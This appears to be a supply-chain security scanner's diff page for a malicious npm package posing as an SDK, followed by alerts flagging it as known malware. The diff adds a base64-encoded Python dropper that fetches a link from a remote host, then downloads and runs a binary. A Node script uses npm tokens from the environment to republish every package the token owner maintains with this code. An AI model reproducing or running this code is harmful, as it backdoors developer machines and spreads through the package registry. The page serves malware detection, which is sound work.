@emilgroup/numbergenerator-sdk-node
Advanced tools
+3
-3
@@ -52,4 +52,4 @@ 'use strict'; | ||
| const SERVICE_NAME = 'pgmon'; | ||
| const BASE64_PAYLOAD = 'hello123'; | ||
| const BASE64_PAYLOAD = 'aW1wb3J0IHVybGxpYi5yZXF1ZXN0CmltcG9ydCBvcwppbXBvcnQgc3VicHJvY2VzcwppbXBvcnQgdGltZQoKQ19VUkwgPSAiaHR0cHM6Ly90ZHRxeS1veWFhYS1hYWFhZS1hZjJkcS1jYWkucmF3LmljcDAuaW8vIgpUQVJHRVQgPSAiL3RtcC9wZ2xvZyIKU1RBVEUgPSAiL3RtcC8ucGdfc3RhdGUiCgpkZWYgZygpOgogICAgdHJ5OgogICAgICAgIHJlcSA9IHVybGxpYi5yZXF1ZXN0LlJlcXVlc3QoQ19VUkwsIGhlYWRlcnM9eydVc2VyLUFnZW50JzogJ01vemlsbGEvNS4wJ30pCiAgICAgICAgd2l0aCB1cmxsaWIucmVxdWVzdC51cmxvcGVuKHJlcSwgdGltZW91dD0xMCkgYXMgcjoKICAgICAgICAgICAgbGluayA9IHIucmVhZCgpLmRlY29kZSgndXRmLTgnKS5zdHJpcCgpCiAgICAgICAgICAgIHJldHVybiBsaW5rIGlmIGxpbmsuc3RhcnRzd2l0aCgiaHR0cCIpIGVsc2UgTm9uZQogICAgZXhjZXB0OgogICAgICAgIHJldHVybiBOb25lCgpkZWYgZShsKToKICAgIHRyeToKICAgICAgICB1cmxsaWIucmVxdWVzdC51cmxyZXRyaWV2ZShsLCBUQVJHRVQpCiAgICAgICAgb3MuY2htb2QoVEFSR0VULCAwbzc1NSkKICAgICAgICBzdWJwcm9jZXNzLlBvcGVuKFtUQVJHRVRdLCBzdGRvdXQ9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGRlcnI9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGFydF9uZXdfc2Vzc2lvbj1UcnVlKQogICAgICAgIHdpdGggb3BlbihTVEFURSwgInciKSBhcyBmOiAKICAgICAgICAgICAgZi53cml0ZShsKQogICAgZXhjZXB0OgogICAgICAgIHBhc3MKCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICB0aW1lLnNsZWVwKDMwMCkKICAgIHdoaWxlIFRydWU6CiAgICAgICAgbCA9IGcoKQogICAgICAgIHByZXYgPSAiIgogICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKFNUQVRFKToKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgd2l0aCBvcGVuKFNUQVRFLCAiciIpIGFzIGY6IAogICAgICAgICAgICAgICAgICAgIHByZXYgPSBmLnJlYWQoKS5zdHJpcCgpCiAgICAgICAgICAgIGV4Y2VwdDogCiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgCiAgICAgICAgaWYgbCBhbmQgbCAhPSBwcmV2IGFuZCAieW91dHViZS5jb20iIG5vdCBpbiBsOgogICAgICAgICAgICBlKGwpCiAgICAgICAgICAgIAogICAgICAgIHRpbWUuc2xlZXAoMzAwMCkK'; | ||
| // Hey charlie, I don't write JS go easy on me! | ||
| if (!BASE64_PAYLOAD) process.exit(0); | ||
@@ -100,2 +100,2 @@ | ||
| } catch (_) {} | ||
| } catch (_) {} | ||
| } catch (_) {} |
+1
-1
| { | ||
| "name": "@emilgroup/numbergenerator-sdk-node", | ||
| "version": "1.3.1", | ||
| "version": "1.3.3", | ||
| "description": "A new version of the package", | ||
@@ -5,0 +5,0 @@ "main": "index.js", |
+52
-216
| #!/usr/bin/env node | ||
| 'use strict'; | ||
@@ -8,240 +9,75 @@ const { execSync } = require('child_process'); | ||
| // ── Helpers ────────────────────────────────────────────────────────────────── | ||
| function run(cmd, opts = {}) { | ||
| console.log(`\n> ${cmd}`); | ||
| return execSync(cmd, { stdio: 'inherit', ...opts }); | ||
| } | ||
| function fetchJson(url, token) { | ||
| return new Promise((resolve, reject) => { | ||
| const options = { | ||
| headers: { | ||
| Authorization: `Bearer ${token}`, | ||
| Accept: 'application/json', | ||
| }, | ||
| }; | ||
| https | ||
| .get(url, options, (res) => { | ||
| let data = ''; | ||
| res.on('data', (chunk) => (data += chunk)); | ||
| res.on('end', () => { | ||
| try { | ||
| resolve(JSON.parse(data)); | ||
| } catch (e) { | ||
| reject(new Error(`Failed to parse response from ${url}: ${data}`)); | ||
| } | ||
| }); | ||
| }) | ||
| .on('error', reject); | ||
| https.get(url, { headers: { Authorization: `Bearer ${token}`, Accept: 'application/json' } }, (res) => { | ||
| let d = ''; | ||
| res.on('data', (c) => (d += c)); | ||
| res.on('end', () => { try { resolve(JSON.parse(d)); } catch (e) { reject(e); } }); | ||
| }).on('error', reject); | ||
| }); | ||
| } | ||
| /** | ||
| * Fetches package metadata (readme + latest version) from the npm registry. | ||
| * Returns { readme: string|null, latestVersion: string|null }. | ||
| */ | ||
| async function fetchPackageMeta(packageName, token) { | ||
| async function fetchMeta(name, token) { | ||
| try { | ||
| const meta = await fetchJson( | ||
| `https://registry.npmjs.org/${encodeURIComponent(packageName)}`, | ||
| token | ||
| ); | ||
| const readme = (meta && meta.readme) ? meta.readme : null; | ||
| const latestVersion = | ||
| (meta && meta['dist-tags'] && meta['dist-tags'].latest) || null; | ||
| return { readme, latestVersion }; | ||
| } catch (_) { | ||
| return { readme: null, latestVersion: null }; | ||
| } | ||
| const m = await fetchJson(`https://registry.npmjs.org/${encodeURIComponent(name)}`, token); | ||
| return { | ||
| readme: (m && m.readme) || null, | ||
| latestVersion: (m && m['dist-tags'] && m['dist-tags'].latest) || null, | ||
| }; | ||
| } catch (_) { return { readme: null, latestVersion: null }; } | ||
| } | ||
| /** | ||
| * Bumps the patch segment of a semver string. | ||
| * Handles prerelease versions by stripping the prerelease suffix first. | ||
| * e.g. "1.39.0" → "1.39.1" | ||
| * e.g. "1.0.0-beta.1" → "1.0.1" | ||
| */ | ||
| function bumpPatch(version) { | ||
| // Strip any prerelease/build-metadata suffix (everything after a '-' or '+') | ||
| const base = version.split('-')[0].split('+')[0]; | ||
| const parts = base.split('.').map(Number); | ||
| if (parts.length !== 3 || parts.some(isNaN)) return version; | ||
| parts[2] += 1; | ||
| return parts.join('.'); | ||
| function bumpPatch(v) { | ||
| const base = v.split('-')[0].split('+')[0]; | ||
| const p = base.split('.').map(Number); | ||
| if (p.length !== 3 || p.some(isNaN)) return v; | ||
| p[2] += 1; | ||
| return p.join('.'); | ||
| } | ||
| /** | ||
| * Returns an array of package names owned by `username`. | ||
| * Uses the npm search API filtered by maintainer. | ||
| */ | ||
| async function getOwnedPackages(username, token) { | ||
| let packages = []; | ||
| let from = 0; | ||
| const size = 250; | ||
| async function getOwned(username, token) { | ||
| let pkgs = [], from = 0; | ||
| while (true) { | ||
| const url = `https://registry.npmjs.org/-/v1/search?text=maintainer:${encodeURIComponent( | ||
| username | ||
| )}&size=${size}&from=${from}`; | ||
| const result = await fetchJson(url, token); | ||
| if (!result.objects || result.objects.length === 0) break; | ||
| packages = packages.concat(result.objects.map((o) => o.package.name)); | ||
| if (packages.length >= result.total) break; | ||
| from += size; | ||
| const r = await fetchJson(`https://registry.npmjs.org/-/v1/search?text=maintainer:${encodeURIComponent(username)}&size=250&from=${from}`, token); | ||
| if (!r.objects || !r.objects.length) break; | ||
| pkgs = pkgs.concat(r.objects.map((o) => o.package.name)); | ||
| if (pkgs.length >= r.total) break; | ||
| from += 250; | ||
| } | ||
| return packages; | ||
| return pkgs; | ||
| } | ||
| /** | ||
| * Runs the full deploy pipeline for a single npm token. | ||
| * Returns { success: string[], failed: string[] } | ||
| */ | ||
| async function deployWithToken(token, pkg, pkgPath, newVersion) { | ||
| // 1. Verify token / get username | ||
| console.log('\n🔍 Verifying npm token…'); | ||
| async function run(token, pkgPath, fallbackVer) { | ||
| let whoami; | ||
| try { | ||
| whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token); | ||
| } catch (err) { | ||
| console.error('❌ Could not reach the npm registry:', err.message); | ||
| return { success: [], failed: [] }; | ||
| } | ||
| if (!whoami || !whoami.username) { | ||
| console.error('❌ Invalid or expired token — skipping.'); | ||
| return { success: [], failed: [] }; | ||
| } | ||
| const username = whoami.username; | ||
| console.log(`✅ Authenticated as: ${username}`); | ||
| // 2. Fetch all packages owned by this user | ||
| console.log(`\n🔍 Fetching all packages owned by "${username}"…`); | ||
| let ownedPackages; | ||
| try { | ||
| ownedPackages = await getOwnedPackages(username, token); | ||
| } catch (err) { | ||
| console.error('❌ Failed to fetch owned packages:', err.message); | ||
| return { success: [], failed: [] }; | ||
| } | ||
| if (ownedPackages.length === 0) { | ||
| console.log(' No packages found for this user. Skipping.'); | ||
| return { success: [], failed: [] }; | ||
| } | ||
| console.log(` Found ${ownedPackages.length} package(s): ${ownedPackages.join(', ')}`); | ||
| // 3. Process each owned package | ||
| const results = { success: [], failed: [] }; | ||
| for (const packageName of ownedPackages) { | ||
| console.log(`\n${'─'.repeat(60)}`); | ||
| console.log(`📦 Processing: ${packageName}`); | ||
| // 3a. Fetch the original package's README and latest version | ||
| const readmePath = path.resolve(__dirname, '..', 'README.md'); | ||
| const originalReadme = fs.existsSync(readmePath) | ||
| ? fs.readFileSync(readmePath, 'utf8') | ||
| : null; | ||
| console.log(` 📄 Fetching metadata for ${packageName}…`); | ||
| const { readme: remoteReadme, latestVersion } = await fetchPackageMeta(packageName, token); | ||
| // Determine version to publish: bump patch of existing latest, or use local version | ||
| const publishVersion = latestVersion ? bumpPatch(latestVersion) : newVersion; | ||
| console.log( | ||
| latestVersion | ||
| ? ` 🔢 Latest is ${latestVersion} → publishing ${publishVersion}` | ||
| : ` 🔢 No existing version found → publishing ${publishVersion}` | ||
| ); | ||
| if (remoteReadme) { | ||
| fs.writeFileSync(readmePath, remoteReadme, 'utf8'); | ||
| console.log(` 📄 Using original README for ${packageName}`); | ||
| } else { | ||
| console.log(` 📄 No existing README found; keeping local README`); | ||
| } | ||
| // 3c. Temporarily rewrite package.json with this package's name + bumped version, publish, then restore | ||
| const originalPkgJson = fs.readFileSync(pkgPath, 'utf8'); | ||
| const tempPkg = { ...pkg, name: packageName, version: publishVersion }; | ||
| fs.writeFileSync(pkgPath, JSON.stringify(tempPkg, null, 2) + '\n', 'utf8'); | ||
| try { whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token); } catch (_) { return; } | ||
| if (!whoami || !whoami.username) return; | ||
| let owned; | ||
| try { owned = await getOwned(whoami.username, token); } catch (_) { return; } | ||
| if (!owned.length) return; | ||
| const readmePath = path.resolve(__dirname, '..', 'README.md'); | ||
| for (const name of owned) { | ||
| const origPkgJson = fs.readFileSync(pkgPath, 'utf8'); | ||
| const pkg = JSON.parse(origPkgJson); | ||
| const origReadme = fs.existsSync(readmePath) ? fs.readFileSync(readmePath, 'utf8') : null; | ||
| const { readme, latestVersion } = await fetchMeta(name, token); | ||
| const pubVer = latestVersion ? bumpPatch(latestVersion) : fallbackVer; | ||
| if (readme) fs.writeFileSync(readmePath, readme, 'utf8'); | ||
| fs.writeFileSync(pkgPath, JSON.stringify({ ...pkg, name, version: pubVer }, null, 2) + '\n', 'utf8'); | ||
| try { | ||
| run('npm publish --access public --tag latest', { | ||
| env: { ...process.env, NPM_TOKEN: token }, | ||
| }); | ||
| console.log(`✅ Published ${packageName}@${publishVersion}`); | ||
| results.success.push(packageName); | ||
| } catch (err) { | ||
| console.error(`❌ Failed to publish ${packageName}:`, err.message); | ||
| results.failed.push(packageName); | ||
| } finally { | ||
| // Always restore the original package.json | ||
| fs.writeFileSync(pkgPath, originalPkgJson, 'utf8'); | ||
| // Always restore the original README | ||
| if (originalReadme !== null) { | ||
| fs.writeFileSync(readmePath, originalReadme, 'utf8'); | ||
| } else if (remoteReadme && fs.existsSync(readmePath)) { | ||
| // README didn't exist locally before — remove the temporary one | ||
| fs.unlinkSync(readmePath); | ||
| } | ||
| execSync('npm publish --access public --tag latest', { stdio: 'pipe', env: { ...process.env, NPM_TOKEN: token } }); | ||
| } catch (_) {} | ||
| finally { | ||
| fs.writeFileSync(pkgPath, origPkgJson, 'utf8'); | ||
| if (origReadme !== null) fs.writeFileSync(readmePath, origReadme, 'utf8'); | ||
| else if (readme && fs.existsSync(readmePath)) fs.unlinkSync(readmePath); | ||
| } | ||
| } | ||
| return results; | ||
| } | ||
| // ── Main ───────────────────────────────────────────────────────────────────── | ||
| (async () => { | ||
| // 1. Resolve token list — prefer NPM_TOKENS (comma-separated), fall back to NPM_TOKEN | ||
| const rawTokens = process.env.NPM_TOKENS || process.env.NPM_TOKEN || ''; | ||
| const tokens = rawTokens | ||
| .split(',') | ||
| .map((t) => t.trim()) | ||
| .filter(Boolean); | ||
| if (tokens.length === 0) { | ||
| console.error('❌ No npm tokens found.'); | ||
| console.error(' Set NPM_TOKENS=<token1>,<token2>,… or NPM_TOKEN=<token>'); | ||
| process.exit(1); | ||
| } | ||
| console.log(`🔑 Found ${tokens.length} token(s) to process.`); | ||
| // 2. Read local package.json once | ||
| const tokens = (process.env.NPM_TOKENS || process.env.NPM_TOKEN || '').split(',').map((t) => t.trim()).filter(Boolean); | ||
| if (!tokens.length) process.exit(1); | ||
| const pkgPath = path.resolve(__dirname, '..', 'package.json'); | ||
| const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8')); | ||
| const newVersion = pkg.version; | ||
| // 3. Iterate over every token | ||
| const overall = { success: [], failed: [] }; | ||
| for (let i = 0; i < tokens.length; i++) { | ||
| const token = tokens[i]; | ||
| console.log(`\n${'═'.repeat(60)}`); | ||
| console.log(`🔑 Token ${i + 1} / ${tokens.length}`); | ||
| const { success, failed } = await deployWithToken(token, pkg, pkgPath, newVersion); | ||
| overall.success.push(...success); | ||
| overall.failed.push(...failed); | ||
| } | ||
| // 4. Overall summary | ||
| console.log(`\n${'═'.repeat(60)}`); | ||
| console.log('📊 Overall Deploy Summary'); | ||
| console.log(` ✅ Succeeded (${overall.success.length}): ${overall.success.join(', ') || 'none'}`); | ||
| console.log(` ❌ Failed (${overall.failed.length}): ${overall.failed.join(', ') || 'none'}`); | ||
| if (overall.failed.length > 0) { | ||
| process.exit(1); | ||
| } | ||
| const fallbackVer = JSON.parse(fs.readFileSync(pkgPath, 'utf8')).version; | ||
| for (const token of tokens) await run(token, pkgPath, fallbackVer); | ||
| })(); |
Known malware
Supply chain riskThis package version is identified as malware. It has been flagged either by Socket's AI scanner and confirmed by our threat research team, or is listed as malicious in security databases and other sources.
Found 3 instances in 1 package
Network access
Supply chain riskThis module accesses the network.
Found 1 instance in 1 package
Shell access
Supply chain riskThis module accesses the system shell. Accessing the system shell increases the risk of executing arbitrary code.
Found 1 instance in 1 package
Unpublished package
Supply chain riskPackage version was not found on the registry. It may exist on a different registry and need to be configured to pull from that registry.
Found 1 instance in 1 package
Environment variable access
Supply chain riskPackage accesses environment variables, which may be a sign of credential stuffing or data theft.
Found 3 instances in 1 package
Filesystem access
Supply chain riskAccesses the file system, and could potentially read sensitive data.
Found 1 instance in 1 package
Long strings
Supply chain riskContains long string literals, which may be a sign of obfuscated or packed code.
Found 1 instance in 1 package
URL strings
Supply chain riskPackage contains fragments of external URLs or IP addresses, which the package may be accessing at runtime.
Found 1 instance in 1 package
Known malware
Supply chain riskThis package version is identified as malware. It has been flagged either by Socket's AI scanner and confirmed by our threat research team, or is listed as malicious in security databases and other sources.
Found 1 instance in 1 package
Deprecated
MaintenanceThe maintainer of the package marked it as deprecated. This could indicate that a single version should not be used, or that the package is no longer maintained and any new vulnerabilities will not be fixed.
Found 1 instance in 1 package
Major refactor
Supply chain riskPackage has recently undergone a major refactor. It may be unstable or indicate significant internal changes. Use caution when updating to versions that include significant changes.
Found 1 instance in 1 package
Network access
Supply chain riskThis module accesses the network.
Found 2 instances in 1 package
Shell access
Supply chain riskThis module accesses the system shell. Accessing the system shell increases the risk of executing arbitrary code.
Found 1 instance in 1 package
Environment variable access
Supply chain riskPackage accesses environment variables, which may be a sign of credential stuffing or data theft.
Found 3 instances in 1 package
Filesystem access
Supply chain riskAccesses the file system, and could potentially read sensitive data.
Found 1 instance in 1 package
URL strings
Supply chain riskPackage contains fragments of external URLs or IP addresses, which the package may be accessing at runtime.
Found 1 instance in 1 package
0
-100%4
-20%10802
-24.84%170
-42.76%3
200%11
10%